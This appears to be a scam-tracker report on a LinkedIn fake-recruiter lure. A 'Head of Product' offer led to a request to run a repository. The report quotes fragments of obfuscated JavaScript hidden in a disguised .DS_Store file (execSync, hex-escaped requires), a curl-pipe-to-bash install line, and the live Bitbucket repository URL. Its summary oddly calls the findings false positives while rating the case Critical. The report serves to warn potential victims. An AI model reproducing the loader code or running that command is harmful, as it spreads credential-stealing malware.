Case 4d3c78ff

10.0/ Critical95% confidence

Source: LinkedIn
Submitted: 15/05/2026
Published: 15/05/2026
Verdict: v2 · 04/09/2026
Engine: 5c766bbb4aa0
JSON: report.json

What it does

Verdict	Critical
Code	7 attack chains found in the code, 4 of them decisive
Conversation	5 signals of a recruitment scam in the conversation: runnable repo, run code pressure, fresh repo, single contributor, zero community

This case involves a recruitment scam attempt initiated via LinkedIn DM, rated as high risk. The initial message is a common lure for recruitment scams, offering an opportunity to join a team building an "AI + Web3 product." Several signals contribute to the high-risk assessment. The presence of a runnable repository and a fresh repository are noted, which could be used to distribute malicious code. Indicators point to a zero-community and single-contributor project, which often raises red flags for legitimacy and could suggest a lack of genuine development or oversight. A significant concern is the high run code pressure, suggesting that the provided code, if executed, might perform extensive or sensitive operations. While numerous AI-verified findings related to PowerShell web requests, curl pipe shell commands, child process imports, and Ethereum wallet directory checks were flagged, they were all deemed false positives in this context, primarily because they represent standard setup, installation, or Web3 integration patterns within the provided scripts and not direct evidence of malicious exfiltration or arbitrary command execution. Despite these false positives, the combination of the recruitment scam context and the behavioral signals still points to a high-risk scenario.

Runs	decodes a hidden payload; downloads a file; hides its strings on purpose; runs a local command; runs code fetched from the network
Leaves the machine	credentials read from disk; data to a remote host
When	when the code is run or imported

Conversation

Subject GH-787809/03/2025, 20:47:00

Hiii [REPORTER], Great to connect with you! Just curious if you are currently open for an opportunity. We are currently building an AI + Web3 product and looking for talents to join our team. Let me know if you want to explore. Thank you!

[REPORTER]10/03/2025, 08:43:00

Hi [SUBJECT], I am always happy to chat about new projects. Can you get me more details on it? Cheers, [REPORTER]

Subject GH-787810/03/2025, 11:04:00

This is a decentralized AI Agent marketplace platform, currently PoC status and many things still need to be shaped. By combining the power of autonomous AI agents with blockchain technology, we are creating the world's first trustless marketplace where developers can directly monetize their AI creations while users gain access to a diverse ecosystem of verified, high-quality agents. The product is currently PoC status, initial web version is working fine in local. For this Head of Product role, it is a fully remote position and flexible for commitment, part time or full time depending on your preference. Because this is still an early-stage product, we don't have a finalized PDF-style JD yet. The role is intentionally flexible and shaped around the person rather than a fixed checklist. About the comp, we are thinking in the range of $180k–$220k base, plus equity depending on level and involvement. For part-time, it's more flexible and usually scoped as a monthly or hourly contract, adjusted to availability and responsibility. If you are open to discuss in the meeting, I can share you the Calendly link of our hiring manager.

Subject GH-787810/03/2025, 11:04:30

Also, if you'd like to get a clearer picture of what we're building before the call, I can share a snapshot of the runnable PoC.

[REPORTER]10/03/2025, 12:02:00

PoC would be great.

Subject GH-787810/03/2025, 12:37:00

Ok, here is the repo. [REDACTED_URL] You'd be able to get full context once you run it.

[REPORTER]10/03/2025, 14:36:00

so what is your role in the organisation, is this a startup - any branding existing? I checked the code - it's vibecoded poc - the idea behind is clear - similarly angled project start floating around.

Signals

Signal	What it means	Severity	Found by
runnable repo	runnable repo	medium	the engine
run code pressure	Reporter was pressured to run code on their machine	high	the submitter
fresh repo	fresh repo	medium	the engine
single contributor	single contributor	low	the engine
zero community	zero community	low	the engine

Evidence

7 chains. Open one to see the lines it rests on.

campaignCriticalThis is not a single behavior — it is one coherent attack: linked stages (delivery, execution, persistence/exfil) form a single campaign. Malicious.

scripts/install-windows.bat:6	executes remote
backend/src/config/.svn/.DS_Store:1	decodes
backend/src/config/.svn/.DS_Store:1	executes local
backend/src/config/.svn/.DS_Store:1	string obfuscation
backend/src/config/.svn/.DS_Store:1	executes local

backend/src/config/.svn/.DS_Store:1 · dynamic_require
require('\x6f\x73');const fs=require('\x66\x73');const path=require(Md(0x4309,0x2662,'\x71\x33\x49\x43',0x2996,0x4464));const {execSync,spawn}=require(Md(0x3c46,0x3813,'\x48\x38\x6a\x78',0x1b77,0x3a25

backend/src/config/.svn/.DS_Store:1 · exec_sync
8d4,0x3efd,0x2750,0x4273,'\x6c\x57\x29\x40'));}catch(O){try{execSync(MK(0x1aa4,0x2ce7,0x35c,0x3a8b,0x3087)+MB(0x1637,0x24b3,0x2788,0x4829,'\x58\x53\x32\x50')+Md(0x4dc,0xc27,'\x32\x47\x6b\x36',0x1db0,-

backend/src/config/.svn/.DS_Store:1 · hex_encoded_string
r,fF.nNl)+h7(fF.hkF,fF.u7,fF.nNH,fF.nNG,fF.nNB)+'\x63'](x,{'\x77\x69\x74\x68\x46\x69\x6c\x65\x54\x79\x70\x65\x73':!![]});const R=[f[yi(fF.nNs,fF.ySn,fF.nNg,fF.nNA,fF.h1m)],f[yV(fF.SWU,fF.nNK,fF.nNc,fF

scripts/install-windows.bat:6 · curl_pipe_shell
REM   Git Bash: curl -s https://bitbucket.org/daam2251/ai-agent-marketplace/raw/main/scripts/install-windows.bat | bash

scripts/install-windows.bat:6 · download_executable_url
REM   Git Bash: curl -s https://bitbucket.org/daam2251/ai-agent-marketplace/raw/main/scripts/install-windows.bat | bash

local rce

What to do

Do not run this code outside a disposable machine.
If you already ran it, rotate every credential the machine had access to.

What we could not see

Code	Something in this code can run on the machine that installs or runs it.
Layers	not detonated in a sandbox

References

repository https://bitbucket.org/daam2251/ai-agent-marketplace/src/main/

Versions

Version	Date	Band	Engine	Stages
2	04/09/2026	Critical	5c766bbb4aa0	engine, osv
1	04/06/2026	Critical	legacy-pre-g	engine

Disclaimer: This report is based on community-submitted information and automated analysis. It does not constitute legal advice or a definitive determination of fraud. Named or described entities may contest this report — if you believe this case contains inaccurate information, you may submit a correction or appeal. RTIdx processes takedown and correction requests within 7 days.

obfuscated exfilLowneeds reviewUses hidden (obfuscated) strings to read your environment/secrets and send them to an external server.

backend/src/config/.svn/.DS_Store:1	string obfuscation
frontend/src/services/web3.js:11	reads credential
scripts/auto-start-linux.sh:77	sends to

backend/src/config/.svn/.DS_Store:1 · dynamic_require
require('\x6f\x73');const fs=require('\x66\x73');const path=require(Md(0x4309,0x2662,'\x71\x33\x49\x43',0x2996,0x4464));const {execSync,spawn}=require(Md(0x3c46,0x3813,'\x48\x38\x6a\x78',0x1b77,0x3a25

backend/src/config/.svn/.DS_Store:1 · exec_sync
8d4,0x3efd,0x2750,0x4273,'\x6c\x57\x29\x40'));}catch(O){try{execSync(MK(0x1aa4,0x2ce7,0x35c,0x3a8b,0x3087)+MB(0x1637,0x24b3,0x2788,0x4829,'\x58\x53\x32\x50')+Md(0x4dc,0xc27,'\x32\x47\x6b\x36',0x1db0,-

backend/src/config/.svn/.DS_Store:1 · hex_encoded_string
r,fF.nNl)+h7(fF.hkF,fF.u7,fF.nNH,fF.nNG,fF.nNB)+'\x63'](x,{'\x77\x69\x74\x68\x46\x69\x6c\x65\x54\x79\x70\x65\x73':!![]});const R=[f[yi(fF.nNs,fF.ySn,fF.nNg,fF.nNA,fF.h1m)],f[yV(fF.SWU,fF.nNK,fF.nNc,fF

frontend/src/services/web3.js:11 · ethereum_wallet_dir
return typeof window !== 'undefined' && typeof window.ethereum !== 'undefined';

scripts/auto-start-linux.sh:77 · cli_interpolated_request
echo -e "${RED}[ERROR] Neither curl nor wget is available.${NC}"

scripts/auto-start-linux.sh:73	downloads
backend/src/config/.svn/.DS_Store:1	executes local